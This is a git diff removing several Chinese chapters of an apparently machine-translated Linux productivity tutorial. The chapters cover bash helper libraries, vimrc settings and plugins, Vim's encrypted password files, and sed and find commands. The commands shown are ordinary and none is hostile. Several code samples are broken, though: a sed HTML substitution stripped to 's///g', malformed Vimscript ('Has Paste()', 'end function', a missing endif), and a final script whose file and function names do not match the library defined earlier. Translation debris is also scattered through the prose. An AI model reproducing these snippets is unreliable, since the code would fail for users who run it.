中进行并行处理? - -如果执行时间较长,我们可以在脚本完成时添加通知: - -```sh -notify-send script.sh "execution finished" -``` - -![Shell scripting for fun and profit](img/image_02_033.jpg) - -这样,我们可以启动脚本,处理一些其他任务,并在脚本完成时收到通知。你可以让你的想象力在平行的处理和通知中尽情发挥。 - -在本章中,我们已经看到了一些常见的预定义 Shell 变量。他们是: - -* `$1`:第一个参数 -* `$?`:最后一个命令的返回代码 -* `$!`:最后一次命令运行的`pid` - -其他常用的预定义 Shell 变量包括: - -* `$#`:参数数量 -* `$*`:参数列表 -* `$@`:所有参数 -* `$0`:Shell/脚本的名称 -* `$$`:当前运行 Shell 的 PID - -Bash 有很多特性,我们建议通过它的手册页来获得更多关于它们的信息。 - -如果用对了方法,Shell 脚本是很神奇的。他们可以微调系统命令,就像我们在例子中看到的那样,我们只获得了 IP 地址,而没有整个`ifconfig`输出等等。作为一个务实的终端用户,您应该确定在命令行中最常执行的任务,以及使用 shell 脚本可以自动执行的任务。您应该创建自己的 shell 脚本集合,并将它们添加到您的路径中,以便可以从任何目录中轻松访问它们。 - -# Shell 脚本库 - -要真正利用 shell 脚本实现任务自动化,重要的是将所有常见任务组织到可重用命令中,并让它们在路径中可用。为此,最好在主目录中为脚本创建一个`bin`文件夹,并在`bin/lib`目录中存储常用代码。当使用大量 shell 脚本时,重用大部分功能是很重要的。这可以通过为 shell 脚本编写库函数来实现,这些函数可以从多个地方调用。 - -这里我们将创建一个名为`util.sh`的库脚本,它将来源于其他脚本。通过获取脚本,我们可以从库脚本中访问函数和变量。 - -我们将从添加上一个脚本中的`print_ip`函数开始。 - -现在我们将添加另一个名为`getarg`的函数,它将被其他脚本用于读取命令行参数和值。我们将简单地从剪贴板历史中粘贴它,使用剪贴板选择它。 - -您可以通过查看我们的剪辑部分了解更多关于剪辑的信息! - -```sh -Function to read cli argument: -function getarg() { - NAME=${1} - while [[ ! -z ${2} ]]; do - if [[ "--${NAME}" == "${2}" ]]; then - echo "${3}" - break - fi - shift - done -} -``` - -![Shell scripting libraries](img/image_02_034.jpg) - -这只是一个简单的函数,它将接收一个参数名称作为第一个参数,命令行界面参数列表作为第二个参数,它将在命令行界面参数列表中搜索以找到参数名称。我们将在稍后看到它的实施。 - -我们要创建的最后一个函数叫做`get_public_ip`。它在功能上类似于`print_ip`功能,只是它将用于打印计算机的公共 IP。这意味着,如果您连接到无线路由器并访问互联网,您将获得路由器的 IP,这是其他站点看到的 IP。`print_ip`功能只是显示私有子网的 IP 地址。 - -该命令已经复制到剪贴板中。它叫做**挖**我们用它来访问[https://www.opendns.com/](https://www.opendns.com/)以便阅读公众`ip`。你可以在它的手册页或者谷歌上找到更多关于的信息: - -```sh -function get_public_ip() { - dig +short myip.opendns.com @resolver1.opendns.com -} -``` - -现在我们已经有了我们的库函数,让我们去创建我们的生产力增强脚本。让我们创建一个名为“T2”的脚本,我们将在其中添加一些读取 IP 地址的常见任务。 - -我们将从添加 shebang 开始,接下来是一个整洁的小技巧,以确保我们总是与执行的脚本在同一个文件夹中。我们将使用`BASH_SOURCE`变量来确定**当前工作目录**(或 **CWD** )变量的值。您可以在这里看到,我们使用嵌套子 Shell 来实现这一点: - -```sh -CWD=$( cd "$(dirname "${BASH_SOURCE[0]}" )/" && pwd ) -cd ${CWD} - -``` - -接下来我们将源码`util`脚本,这样库函数就导出到内存中了。然后,我们可以从当前脚本中访问它们: - -```sh -source ${CWD}/lib/util.sh - -``` - -让我们使用一个子 Shell 对我们的`getarg`函数添加一个简单的调用,并搜索`cmd`参数。此外,让我们重复我们的发现,以便我们可以测试我们的脚本: - -```sh -CMD=$(getarg cmd $@) -echo ${CMD} - -``` - -接下来我们需要做的是使用`chmod`命令赋予脚本执行权限。此外,为了从任何地方运行脚本,`bin`文件夹必须在 PATH 变量中。回显该变量并检查 bin 文件夹是否存在,如果不存在,则更新`~/.zshrc`中的变量。 - -让我们通过读取带有`getarg`函数的命令行参数并回显来测试脚本。 - -如果您使用 tab 键在终端中搜索`iputils`命令进行自动完成,而该命令似乎不存在,这可能是因为您需要告诉`zsh`重新加载其路径命令。为此,请发出“rehash”命令。 - -现在运行: - -```sh -iputil --cmd ip - -``` - -这应该在任何文件夹内工作,并且应该在屏幕上打印`ip`。 - -现在我们已经验证了一切正常,让我们为命令行参数编写一些代码。如果我们运行带有`--cmd ip`标志的脚本,脚本应该在屏幕上打印出来。这可以通过已经熟悉的`case`语句来实现。在这里,我们还想传递另一个参数,`--iface,`来获得打印 IP 所需的接口。添加一个默认案例并回显一条消息表示`invalid`参数也是一个很好的做法: - -```sh -case ${CMD} in - ip) - IFACE=$(getarg iface $@) - print_ip ${IFACE} - ;; - publicip) - get_public_ip - ;; - *) - echo "Invalid argument" -esac -``` - -保存脚本,让我们测试它。 - -首先让我们从`ifconfig`命令中获取接口名称,然后让我们通过运行这个命令来测试脚本: - -```sh -iputil --cmd ip --iface wlp3s0 - -``` - -![Shell scripting libraries](img/image_02_035.jpg) - -我们可以看到它正在屏幕上打印我们的私人`ip`。 - -现在让我们将最后一个`cmd`添加到脚本中:`publicip`。 - -为此,我们只需从我们的`lib`实用程序中调用`get_public_ip`函数。保存并运行以下内容: - -```sh -iputil --cmd publicip - -``` - -我们看到命令起作用了;我们的公众`ip`就印在屏幕上。以下是完整的脚本: - -```sh -#!/bin/bash - -CWD=$( cd "$( dirname "${BASH_SOURCE[0]}" )/" && pwd ) -cd ${CWD} - -source ${CWD}/lib.sh - -CMD=$(getarg cmd $@) - -case ${CMD} in - publicip) - print_public_ip - ;; - ip) - IFACE=$(getarg iface $@) - print_ip $IFACE - ;; - *) - echo "invalid command" -esac -``` - -举个例子,前阵子网上有一大堆文章,讲的是一个人,他曾经把所有需要 90 多秒才能完成的事情自动化。他写的脚本包括指示咖啡机开始制作拿铁,这样当他到达机器时,拿铁已经完成,他不需要等待。他还写了一个脚本,向妻子发送了一条“上班迟到”的短信,并在晚上 9 点后,每当他登录公司服务器有活动时,自动从预设列表中选择一个原因。 - -当然,这个例子有点复杂,但最终都是关于你的想象。写得好的自动化脚本可以处理你的日常工作,让你去发掘你的创造潜力。 \ No newline at end of file diff --git a/docs/work-with-linux/3.md b/docs/work-with-linux/3.md deleted file mode 100644 index d66c5b42..00000000 --- a/docs/work-with-linux/3.md +++ /dev/null @@ -1,349 +0,0 @@ -# 三、Vim 功夫 - -Vim 的默认配置通常相当一般。为了更好地利用 Vim 的力量,我们将通过其配置文件的帮助释放其全部潜力。然后,我们将学习探索一些有助于我们加快工作流程的键盘快捷键。我们还将看看一些常用的插件,它们让 Vim 变得更好。我们将看到 Vim 如何利用它的加密文件选项来存储您的密码。这几章将以展示我们如何自动化 Vim 并轻松配置工作环境来结束。 - -在本章中,我们将介绍以下内容: - -* 与 Vim 合作 -* 探索 Vim 的插件类固醇 -* 使用 Vim 密码管理器存储密码 -* 自动化 Vim 配置 - -说到在终端的生产力,一个重要的方面就是永远不要离开终端!当我们完成工作时,很多时候我们发现自己不得不编辑文件和打开外部(图形用户界面)编辑器。 - -糟糕的举动! - -为了让我们的工作效率翻倍,我们需要把那些日子抛在脑后,在终端完成工作,而不是为了编辑一行简单的文本而打开成熟的 IDEs。现在,关于哪个是你的终端最好的文本编辑器,有很多争论,每一个都有它的利弊。我们推荐 Vim,这是一个超级可配置的编辑器,一旦掌握,甚至可以超越集成开发环境。 - -为了启动我们的 Vim 生产力,我们需要做的第一件事是拥有一个配置良好的`vimrc`文件。 - -# 增压 Vim - -让我们从在我们的`home`文件夹中打开一个名为`.vimrc`的新隐藏文件并粘贴几行开始: - -```sh -set nocompatible -filetype off - -" Settings to replace tab. Use :retab for replacing tab in existing files. -set tabstop=4 -set shiftwidth=4 -set expandtab - -" Have Vim jump to the last position when reopening a file -if has("autocmd") - au BufReadPost * if line("'\"") > 1 && line("'\"") <= line("$") | exe "normal! g'\"" | endif - -" Other general vim options: -syntax on -set showmatch " Show matching brackets. -set ignorecase " Do case insensitive matching -set incsearch " show partial matches for a search phrase -set nopaste -set number -set undolevels=1000 -``` - -![Supercharging Vim](img/image_03_001.jpg) - -现在让我们关闭并重新打开文件,这样我们就可以看到配置生效。让我们更详细地讨论一些选项。 - -首先,你可能已经猜到了,以`"`开头的行是注释,可以忽略。第 5、6 和 7 行告诉`vim`始终使用空格代替制表符,并将制表符大小设置为 4 个空格。第 10 到 12 行告诉`vim`始终打开一个文件,并将光标设置在与上次打开文件时相同的位置: - -* `syntax on`:这可以实现语法高亮,所以更容易阅读代码 -* `set nopaste`:这设置了`nopaste`模式,也就是说你可以粘贴代码,而不用 Vim 去猜怎么格式化 -* `set number`:这告诉 Vim 总是显示行号 -* `set undolevels=1000`:这告诉 Vim 记住我们对文件所做的最后 1000 个更改,这样我们就可以轻松地撤销和重做 - -现在,大多数这些功能都可以轻松打开或关闭。比方说,我们想从 Vim 中打开的一个文件复制、粘贴一些行到另一个文件。有了这个配置,我们还将粘贴行号。能做的就是通过输入`:set nonumber`快速关闭行号,或者,如果语法很烦人,我们可以通过运行`syntax off`轻松关闭。 - -另一个常见功能是状态行,可以通过粘贴以下选项进行配置: - -```sh -" Always show the status line -set laststatus=2 - -" Format the status line -set statusline=\ %{HasPaste()}%F%m%r%h\ %w\ \ CWD:\ %r%{getcwd()}%h\ \ \ Line:\ %l\ \ Column:\ %c - -" Returns true if paste mode is enabled -function! Has Paste() - if &paste - return 'PASTE MODE ' - en - return '' -end function -``` - -关闭文件并再次打开。现在我们可以在页面底部看到一个带有额外信息的状态栏。这也是超可配置的,所以我们可以在里面放很多不同的东西。这个特殊的状态栏包含文件名、当前目录、行号和列号以及粘贴模式(开或关)。要将其设置为开,我们使用`:set paste`,更改将显示在状态栏中。 - -Vim 还可以选择改变配色方案。为此,请转到/ `usr/share/vim/vim74/colors`并从中选择一种配色方案: - -![Supercharging Vim](img/image_03_002.jpg) - -让我们选择沙漠! - -## 沙漠配色 - -关闭并重新打开文件;你会看到它和之前的颜色主题没有那么大的不同。如果我们想要一个更激进的,我们可以将配色方案设置为蓝色,这将彻底改变 Vim 的外观。但是在剩下的课程中,我们将坚持**沙漠**。 - -Vim 也可以在外部工具的帮助下增压。在编程领域,我们经常发现自己在编辑 JSON 文件,如果 JSON 没有缩进,这可能是一项非常困难的任务。有一个 Python 模块,我们可以使用它来自动缩进 JSON 文件,Vim 可以配置为在内部使用它。我们所需要做的就是打开配置文件并粘贴以下行: - -```sh -map j !python -m json.tool - -``` - -本质上这是在告诉 Vim,在视觉模式下,如果我们按下 *J* ,它应该用选中的文本调用 Python。我们手动写一个`json`字符串,按 *V* 进入视觉模式,用我们的箭头选择文本,点击 *J* 。 - -并且,由于没有额外的包,我们添加了一个 JSON 格式快捷方式: - -![Color scheme desert](img/image_03_003.jpg) - -我们可以对`xml`文件做同样的事情,但是首先我们需要安装一个工具来处理它们: - -```sh -sudo apt install libxml2-utils - -``` - -![Color scheme desert](img/image_03_004.jpg) - -要安装 XML 实用程序包,我们必须在配置文件中添加以下行: - -```sh -map l !xmllint --format --recover - - -``` - -这将视觉模式下的 *L* 键映射到`xmllint`。让我们写一个 HTML 片段,它实际上是一个有效的`xml`文件,点击`V`进入视觉模式,选择文本,然后按 *L* 。 - -这种类型的扩展(也包括拼写检查器、临帖器、字典等等)可以被带到 Vim 中,并且可以立即使用。 - -一个配置良好的`vim`文件可以在命令行中为您节省大量时间。虽然开始时可能需要一些时间来进行设置并找到适合您的配置,但这项投资在未来会有很大回报,久而久之和我们在 Vim 上投入了越来越多的时间。很多时候,我们甚至没有打开图形用户界面编辑器的奢侈,就像通过`ssh`会话远程工作一样。信不信由你,命令行编辑器是救命稻草,没有它们,生产力很难实现。 - -# 键盘功夫 - -现在我们已经设置好了 Vim,是时候学习更多命令行快捷方式了。我们首先要看的是压痕。 - -缩进可以在 Vim 中完成,进入视觉模式,输入 *V* 选择部分文本或 *V* 选择整行,然后输入 *>* 或 *<* 向右或向左缩进。然后按下`.`重复最后一个操作: - -![Keyboard kung fu](img/image_03_005.jpg) - -任何操作都可以通过点击`u`撤销,然后可以通过点击 *Ctrl* + *R* 重做(如撤销和重做)。这相当于大多数流行编辑器中的 *Ctrl* + *Z* 、*Ctrl*+*Shift*+*Z*。 - -在视觉模式下,我们可以选择通过点击 *U* 使所有文本大写, *u* 小写, *~* 反转当前大小写来改变字母的大小写: - -![Keyboard kung fu](img/image_03_006.jpg) - -其他便捷的快捷方式有: - -* `G`:转到文件结尾 -* `gg`:转到文件开始 -* `Select all`:这并不是真正的快捷方式,而是命令的组合:`gg V G`,如进入文件的开始,选择整行,移动到最后。 - -Vim 还有一个便捷的快捷方式,可以打开光标下单词的手册页。只需点击 K,就会显示该特定单词的手册页(如果有的话): - -![Keyboard kung fu](img/image_03_007.jpg) - -在 Vim 中查找文本就像点击 */* 一样简单。只需输入 */* *+* 要查找的文本,点击*进入*开始搜索。Vim 将转到该文本的第一次出现处。下一次点击`n`,上一次点击 *N* 。 - -我们最喜欢的编辑器有一个强大的查找和替换功能,类似于`sed`命令。假设我们想用字符串`DIR`替换字符串`CWD`的所有出现。为此,只需键入: - -```sh -:1,$s/CWD/DIR/g -:1,$ - start from line one, till the end of the file -s - substitute -/CWD/DIR/ - replace CWD with DIR -g - global, replace all occurrences. - -``` - -![Keyboard kung fu](img/image_03_008.jpg) - -让我们做另一个编程中经常出现的常见例子:注释代码行。假设我们想要注释掉 shell 脚本中的第 10 到 20 行。为此,请键入: - -```sh -:10,20s/^/#\ /g - -``` - -![Keyboard kung fu](img/image_03_009.jpg) - -![Keyboard kung fu](img/image_03_010.jpg) - -这意味着用#和空格代替行首。要删除文本行,请键入: - -```sh -:30,$d - -``` - -这将删除从第 30 行到结尾的所有内容。 - -关于正则表达式的更多信息可以在章节中找到。也可以查看`sed`上的部分,了解更多文本操作示例。这些命令是 Vim 中最长的命令,我们经常会弄错。要编辑我们刚刚编写的命令并再次运行它,我们可以通过点击 *q:* 打开命令历史,导航到包含要编辑的命令的行,按插入,更新该行,然后按 *Esc* 和*回车*运行该命令。就这么简单! - -![Keyboard kung fu](img/image_03_011.jpg) - -另一个经常有用的操作是排序。让我们从经典的 lorem ipsum 文本中创建一个包含未排序文本行的文件: - -```sh -cat lorem.txt | tr " " "\n" | grep -v "^\s*$" | sed "s/[,.]//g" > sort.txt - -``` - -![Keyboard kung fu](img/image_03_012.jpg) - -打开`sort.txt`和`run :sort`。我们看到这些行都是按字母顺序排序的。 - -![Keyboard kung fu](img/image_03_013.jpg) - -现在让我们继续前进到窗口管理。Vim 可以选择分割屏幕来并行编辑文件。水平拆分只需写`:split`,垂直拆分只需写`:vsplit`: - -![Keyboard kung fu](img/image_03_014.jpg) - -![Keyboard kung fu](img/image_03_015.jpg) - -当 Vim 拆分屏幕时,它会在另一个窗格中打开相同的文件;要打开另一个文件,只需点击`:e`。这里好的是我们有自动完成功能,所以我们可以点击*标签*,Vim 将开始为我们写文件名。如果我们不知道我们想要选择什么文件,我们可以直接从 Vim 运行任何任意 shell 命令,完成后再回来。例如,当我们键入`:!ls,`时,Shell 打开,向我们显示命令的输出,并等待直到我们点击*进入*返回文件。 - -在拆分模式下,按 *Ctrl* + *W* 切换窗口。要关闭窗口,请按`:q`。如果你想用不同的名字保存一个文件(想想其他编辑的`save as`命令),只需点击`:w`后跟着新的文件名,说`mycopy.txt`。 - -Vim 还可以选择一次打开多个文件;只需在`vim`命令后指定文件列表: - -```sh -vim file1 file2 file3 - -``` - -文件打开后,使用`:bn`移动到下一个文件。要关闭所有文件,点击`:qa`。 - -Vim 还有一个内置的探索者。只需打开 Vim 并点击`:Explore`。之后,我们可以浏览目录布局并打开新文件: - -![Keyboard kung fu](img/image_03_016.jpg) - -它也有不同的选择。让我们打开一个文件,删除其中一行,然后用新的名称保存它。退出并用`vimdiff`打开两个文件。现在我们可以直观地看到它们之间的区别。这适用于所有类型的更改,比普通的旧 diff 命令输出好得多。 - -当使用 Vim 时,键盘快捷键真的有所作为,并打开了一个全新的可能性世界。开始的时候有点难记,但是一旦开始使用,就像点击一个按钮一样简单。 - -# Vim 的外挂类固醇 - -在这一部分,我们将研究如何向 Vim 添加外部插件。Vim 有自己的编程语言来编写插件,这一点我们在编写`vimrc`文件时看到过。幸运的是,我们不需要学习所有这些,因为我们能想到的大多数东西都已经有一个插件了。要管理插件,让我们安装插件管理器病原体。开放:[https://github.com/tpope/vim-pathogen](https://github.com/tpope/vim-pathogen)。 - -遵循安装说明。如您所见,这是一个单行命令: - -```sh -mkdir -p ~/.vim/autoload ~/.vim/bundle && \curl -LSso ~/.vim/autoload/pathogen.vim https://tpo.pe/pathogen.vim - -``` - -完成后,在你的`.vimrc`中加入病原体: - -```sh -execute pathogen#infect() -``` - -大多数 ide 显示文件夹结构的树形布局,与打开的文件平行。Vim 也可以做到这一点,而实现这一点最简单的方法就是安装名为 **NERDtree** 的插件。 - -打开:[https://github.com/scrooloose/nerdtree](https://github.com/scrooloose/nerdtree),按照说明安装: - -```sh -cd ~/.vim/bundle git clone https://github.com/scrooloose/nerdtree.git - -``` - -现在我们应该都准备好了。我们打开一个文件,输入`:NERDtree`。我们在这里看到我们当前文件夹的树状结构,在这里我们可以浏览和打开新文件。如果我们想让 Vim 取代我们的 IDE,这当然是一个强制性的插件! - -![Plugin steroids for Vim](img/image_03_017.jpg) - -另一个非常好用的插件叫做 **Snipmate** ,用于编写代码片段。要安装它,请转到此链接并按照说明进行操作:[https://github.com/garbas/vim-snipmate](https://github.com/garbas/vim-snipmate)。 - -![Plugin steroids for Vim](img/image_03_018.jpg) - -我们可以看到,在安装`snipmate`之前,还有一套插件需要安装: - -* `git clone https://github.com/tomtom/tlib_vim.git` -* `git clone https://github.com/MarcWeber/vim-addon-mw-utils.git` -* `git clone https://github.com/garbas/vim-snipmate.git` -* `git clone https://github.com/honza/vim-snippets.git` - -如果我们看一下自述文件,我们可以看到一个 C 文件的例子,它有`for`关键字的自动完成。我们打开一个扩展名为`.c`的文件,输入`for`,点击*标签*。我们可以看到自动完成工作。 - -我们还安装了`vim-snipmate`包,里面有很多不同语言的片段。如果我们看一下`~/.vim/bundle/vim-snippets/snippets/`,我们可以看到很多片段文件: - -![Plugin steroids for Vim](img/image_03_019.jpg) - -我们来看看和`javascript`这一个: - -```sh -vim ~/.vim/bundle/vim-snippets/snippets/javascript/javascript.snippets - -``` - -![Plugin steroids for Vim](img/image_03_020.jpg) - -这里我们可以看到所有可用的片段。键入`fun`并点击*选项卡*进行功能自动完成。代码片段预先配置了变量,这样你就可以写一个函数名,点击的*标签*到下一个变量完成。有一个片段用于编写 if-else 块,一个用于编写`console.log,`,还有许多其他的用于编写公共代码块。学习它们的最好方法是浏览文件并开始使用片段。 - -有很多插件。人们制作了各种各样的插件包,保证让你的 Vim 充满活力。一个很酷的项目是[http://vim.spf13.com/](http://vim.spf13.com/) - -它被昵称为终极 Vim 插件包,它基本上有插件和键盘快捷键。这是为更高级的用户准备的,所以在跳转到插件包之前一定要了解基本概念。记住,最好的学习方法是手动安装插件,然后一个一个地玩。 - -# Vim 密码管理器 - -Vim 也可以用来安全存储信息,通过不同的`cryp`方法加密文本文件。要查看 Vim 当前使用的`cryp`方法,请键入: - -```sh -:set cryptmethod? -``` - -在我们的案例中,我们可以看到它是`zip`,这实际上不是一种`crypto`方法,并且在安全性方面没有提供太多。要了解我们有哪些不同的选择,我们可以键入: - -```sh -:h 'cryptmethod' -``` - -![Vim password manager](img/image_03_021.jpg) - -一个描述不同加密方法的页面出现了。我们可以从`zip`、`blowfish,`和`blowfish2`中选择。最安全最推荐的当然是`blowfish2`。要更改加密方法,请键入: - -```sh -:set cryptmethod=blowfish2 -``` - -这也可以添加到`vimrc`中,使其成为默认加密。现在我们可以使用 Vim 安全地加密文件。 - -一个常见的场景是存储密码文件。 - -让我们打开一个名为`passwords.txt`的新文件,在里面添加一些虚拟密码,然后保存。下一步是用密码加密文件,为此我们键入`:X`。 - -Vim 会提示您输入两次密码。如果不保存文件就退出,将不会应用加密。现在,再次加密,保存并退出文件。 - -当我们重新打开它时,Vim 会要求相同的密码。如果我们弄错了,Vim 会显示一些来自失败解密的随机字符。只有输入正确的密码才会得到实际的文件内容: - -![Vim password manager](img/image_03_022.jpg) - -使用 Vim 保存加密文件,结合在私有`git`存储库或私有 Dropbox 文件夹等地方备份文件,可以成为存储密码的有效方式: - -![Vim password manager](img/image_03_023.jpg) - -它还有一个好处,那就是它是一种独特的存储密码的方法,相比之下,它使用的在线服务非常标准,可能会受到损害。这也可以称为*安全穿越*T2【h】默默无闻。 - -# 即时配置恢复 - -我们在本章中看到的配置可能需要一些时间来手动设置,但是,一旦一切都配置好了,我们就可以创建一个脚本来立即恢复 Vim 配置。 - -为此,我们将到目前为止发出的所有命令粘贴到 bash 脚本中,该脚本可以运行以使 Vim 达到完全相同的配置。这个脚本中缺少的只是`home`文件夹中的`vimrc`文件,我们也可以通过一种叫做 heredocs 的技术来恢复它。只需键入 cat,将输出重定向至`vimrc`,并使用 heredoc 作为输入,由`eof`分隔: - -![Instant configuration restoring](img/image_03_025.jpg) - -```sh -cat > ~/.vimrc << EOF -... - -... -EOF - -``` - -使用 heredocs 是在 bash 脚本中操作大块文本的常用技术。基本上,它将一段代码视为一个单独的文件(在我们的例子中,所有代码都在 cat 之后,直到 EOF)。有了这个脚本,我们可以恢复我们已经完成的所有 Vim 配置,我们也可以在我们工作的任何计算机上运行它,这样我们就可以在短时间内设置我们的 Vim! - -我们希望你喜欢这份材料,并在下一章再见! \ No newline at end of file diff --git a/docs/work-with-linux/4.md b/docs/work-with-linux/4.md deleted file mode 100644 index f310bb28..00000000 --- a/docs/work-with-linux/4.md +++ /dev/null @@ -1,743 +0,0 @@ -# 四、命令行界面——隐藏的秘籍 - -本章将从 sed 开始,sed 是一种会吓到很多 Linux 用户的工具。我们将研究一些基本的`sed`命令,这些命令可以让几个小时的折射变成几分钟。我们将看到如何使用 Linux 计算机定位任何文件。此外,我们将看到当 Tmux 进入我们的技能集时,远程工作会变得多么好。借助最好的终端多路复用器,您可以运行持久的命令,分割屏幕,并且永远不会丢失您的工作。然后,您将学习如何在 netstat 和 nmap 等命令的帮助下发现网络并与之交互。最后,我们将看到 Autoenv 如何帮助自动切换环境,以及如何使用 rm 命令使用垃圾桶实用程序从命令行与垃圾桶交互。 - -在本章中,我们将介绍以下内容: - -* 了解 sed 的工作 -* 使用终端多路复用器 tmux -* 使用 Autoenv 自动切换环境 -* 使用 rm 命令行删除文件或目录 - -# Sed–单线生产力宝藏 - -如果一张图片值 1000 个字,那么 sed one 的班轮绝对值一千行代码!你猜对了,Linux 命令行界面中最令人害怕的命令之一就是 sed!程序员和系统管理员都很害怕它,因为它的用法很神秘,但它可以作为一个非常强大的工具来快速编辑大量数据。 - -我们已经创建了五个文件来帮助展示这个令人敬畏的工具的力量。第一个是一个简单的文件,包含一行不起眼的文本:*橙色是新的黑色*。让我们从创建一个简单的`sed`命令开始,将单词*黑色*替换为*白色*。 - -sed 的第一个参数是 replace 命令。它被 3 `/`分成 3 部分。第一部分是`s`为替代,第二部分是被替代的词,`black`,在我们这里,第三部分是替代词,`white`。 - -第二个参数是输入,在我们的例子中,是一个文件: - -```sh -sed "s/black/white/" 1.txt - -``` - -![Sed – one-liner productivity treasure](img/image_04_001.jpg) - -现在,结果会打印在屏幕上,你可以看到黑色这个词已经被白色取代了。 - -我们的第二个例子包含另一行文本,这一次在大写和小写中都有单词 black。如果我们使用这个新文件运行相同的命令,我们将看到它只替换匹配大小写的单词。如果我们想进行不区分大小写的替换,我们将在我们的`sed`命令的末尾再添加两个字符;`g`和`l`。 - -* `g`:表示全局替换,用于替换文件中的所有出现。没有这个,它只会取代第一个参数。 -* `l`: means case insensitive search. - - ```sh - sed "s/black/white/gI" 2.txt - - ``` - - ![Sed – one-liner productivity treasure](img/image_04_002.jpg) - -如你所见,这两个词都被替换了。如果我们想将结果保存在我们的文件中,而不是打印到屏幕上,我们使用`-i`参数,它代表内联替换。 - -在某些情况下,我们可能也想保存我们的初始文件,以防我们在`sed`命令中出现错误。为此,我们在`-i`后面指定一个后缀,这将创建一个备份文件。在我们的例子中,我们使用`.bak`后缀: - -```sh -sed -i.bak "s/black/white/g" 2.txt - -``` - -![Sed – one-liner productivity treasure](img/image_04_003.jpg) - -如果我们检查文件的内容,可以看到初始文件包含更新后的文本,备份文件包含原始文本。 - -现在,让我们看一个更实际的例子。假设我们有一个包含多个变量的 shell 脚本,我们希望用花括号将变量括起来: - -![Sed – one-liner productivity treasure](img/image_04_004.jpg) - -为此,我们将写道: - -* `s`:是代课用的。 -* `g`:是为了全球;意味着替换找到的所有事件。 -* `\$`:这匹配所有以美元符号开始的字符串。在这里,美元需要被逃脱,这样它就不会与排主播的*开头混淆。* -* 我们将把`$`后面的字符串括在(中),这样我们就可以在命令的替换部分引用它。 -* `[ ]`:用于指定字符范围 -* `A-Z`:匹配所有大写字符 -* `0-9`:匹配所有数字 -* `_`:匹配`_` -* `\+`:任何字符在`[ ]`中必须出现一次或多次 - -在替换部分,我们将使用: - -* `\$`:美元符号 -* `{ }`:我们要加的花括号。 -* `\1`: The string that was previously matched in the ( ) - - ```sh - sed 's/\$\([A-Z0-9_]\+\)/\${\1}/g' 3.txt - - ``` - - ![Sed – one-liner productivity treasure](img/image_04_005.jpg) - -其他常见的场景是替换`xml`或`html`文件中的内容。 - -这里我们有一个基本的 html 文件,里面有一个``文本。现在,我们知道``文本对于搜索引擎优化有更多的语义价值,所以也许我们想让我们强大的标签成为一个简单的``(粗体),并手动决定页面中的``单词。为此,我们说: - -* `s`:这是给替补的。 -* ``”之间选择一切。 -* ``: Just add ``, and the text that you previously found in the `( )`. - - ```sh - sed "s///g" 4.xml - - ``` - - ![Sed – one-liner productivity treasure](img/image_04_006.jpg) - -如您所见,文本更新正确,`red`类仍然适用于新标签,旧文本仍然包含在我们的标签之间,这正是我们想要的: - -![Sed – one-liner productivity treasure](img/image_04_007.jpg) - -除了替换,sed 还可以用于删除文本行。我们的`5.txt`文件包含了`lorem ipsum`文本中的所有单词。如果我们想删除第三行文本,我们将发出以下命令: - -```sh -sed -i 3d 5.txt - -``` - -点击 *:e、*重新加载 vim 中的文件,我们看到`dolor`这个词已经不存在了。例如,如果我们想删除文件的前 10 行,我们只需运行: - -```sh -sed -i 1,10d 5.txt - -``` - -点击 *:e* ,你会看到线已经不在了。对于最后一个例子,如果我们向下滚动,我们可以看到多行空白文本。这些可以通过以下方式删除: - -```sh -sed -i "/^$/d" 5.txt - -``` - -![Sed – one-liner productivity treasure](img/image_04_008.jpg) - -代表: - -* `^`:线锚开始 -* `$`:线锚结束 -* `d`:删除 - -重新加载文件,您会看到这些行不再存在。 - -现在,你可以想象,这些只是一些基本的例子。sed 的力量比这大得多,使用它的可能性比我们今天看到的要多得多。我们建议您充分了解今天介绍的功能,因为这些可能是您最常用的功能。它并不像一开始看起来那么复杂,它在很多场景中都很有用。 - -# 你可以跑,但你不能躲…躲避寻找 - -几十个项目,几百个文件夹,几千个文件;这个场景听起来熟悉吗?如果答案是*是*,那么你可能不止一次发现自己处于找不到具体文件的情况。`find`命令将帮助我们定位项目中的任何文件,等等。但是首先,为了创建一个快速的游乐场,让我们从 GitHub 下载电子开源项目: - -Git 克隆[https://github.com/electron/electron](https://github.com/electron/electron) - -而`cd`进入其中: - -```sh -cd electron - -``` - -我们在这里看到许多不同的文件和文件夹,就像任何正常大小的软件项目一样。为了找到特定的文件,假设`package.json`,我们将使用: - -```sh -find . -name package.json - -``` - -![You can run, but you can't hide… from find](img/image_04_009.jpg) - -`.`:这将开始在当前文件夹中搜索 - -`-name`:这有助于搜索文件名 - -如果我们在项目中查找所有自述文件,前面的命令格式没有帮助。我们需要发布一个不区分大小写的查找。出于演示目的,我们还将创建一个`readme.md`文件: - -```sh -touch lib/readme.md - -``` - -我们还将使用`-iname`参数进行不区分大小写的搜索: - -```sh -find . -iname readme.md - -``` - -![You can run, but you can't hide… from find](img/image_04_010.jpg) - -你看这里`readme.md`和`README.md`都找到了。现在,如果我们要搜索所有的 JavaScript 文件,我们将使用: - -```sh -find . -name "*.js" - -``` - -![You can run, but you can't hide… from find](img/image_04_011.jpg) - -而且如你所见,有相当多的结果。为了缩小结果范围,让我们将查找限制在`default_app`文件夹: - -```sh -find default_app -name "*.js" - -``` - -![You can run, but you can't hide… from find](img/image_04_012.jpg) - -可以看到,这个文件夹里只有两个`js`文件。如果我们要找到所有不是 JavaScript 的文件,只需在名称参数前添加一个`!`标记: - -```sh -find default_app ! -name "*.js" - -``` - -![You can run, but you can't hide… from find](img/image_04_013.jpg) - -你可以在这里看到所有不以`js`结尾的文件。如果我们要查找目录中属于文件类型的所有索引节点,我们将使用`-type f`参数: - -```sh -find lib -type f - -``` - -![You can run, but you can't hide… from find](img/image_04_014.jpg) - -以同样的方式,我们将使用`-type d`来查找特定位置的所有目录: - -```sh -find lib -type d - -``` - -![You can run, but you can't hide… from find](img/image_04_015.jpg) - -Find 还可以根据时间标识符定位文件。例如,为了找到`/usr/share`目录中最近 24 小时内修改过的所有文件,发出以下命令: - -```sh -find /usr/share -mtime -1 - -``` - -![You can run, but you can't hide… from find](img/image_04_016.jpg) - -我有一个很大的单子。你可以看到`-mtime -3`将列表扩大了更多。 - -例如,如果我们要找到最近一个小时内修改的所有文件,我们可以使用`-mmin -60`: - -```sh -find ~/.local/share -mmin -60 - -``` - -![You can run, but you can't hide… from find](img/image_04_017.jpg) - -一个好的搜索文件夹是`~/.local/share`,如果我们使用`-mmin -90`,列表又变宽了。 - -Find 还可以通过使用`-atime -1`参数向我们显示最近 24 小时访问的文件列表,如下所示: - -```sh -find ~/.local/share -atime -1 - -``` - -![You can run, but you can't hide… from 